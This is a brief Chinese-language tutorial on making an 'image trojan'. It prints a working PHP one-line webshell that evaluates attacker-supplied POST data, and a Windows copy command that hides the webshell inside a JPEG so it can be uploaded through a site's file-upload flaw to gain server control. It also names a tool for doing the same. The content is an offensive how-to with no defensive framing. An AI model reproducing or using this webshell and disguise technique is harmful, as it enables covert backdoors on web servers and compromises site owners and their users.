木马制作——图片木马制作
一、简单说明
图片木马指的是图片格式的文件木马,图片格式包括jpg,png等,原理是将木马程序和图片捆绑在一起,达到伪装的目的,程序可以是脚本语言或者编译语言,在web渗透中,通常将脚本编写的webshell和图片合成一个新的木马,结合web的文件上传漏洞进行利用,获取网站应用的webshell权限。
二、制作方式
- 利用windows 命令
准备一个木马,以php一句话为例,文件名为pass.php,内容如下:
<?php
@eval($_POST['pass']);
?>
- 准备一张图片,文件名为555.jpeg,然后在文件的目录下cmd,使用命令:
copy 555.jpeg/b+pass.php/a muma.jpeg
命令与参数说明:
copy:将文件复制或者是合并,/b的意思是以前边图片二进制格式为主,进行合并,合并后的文件依旧是二进制文件,实用于图像/声音等二进制文件。/a的意思是指定以ASCII格式复制,合并文件。用于jpeg等文本类型文档。
生成了一张图片木马,文件名为muma.jpeg。
比较555.jpeg与muma.jpeg的区别。
当然,也可以用一些小工具来生成,如:edjpgcom.exe。
更多推荐
木马制作——图片木马制作
发布评论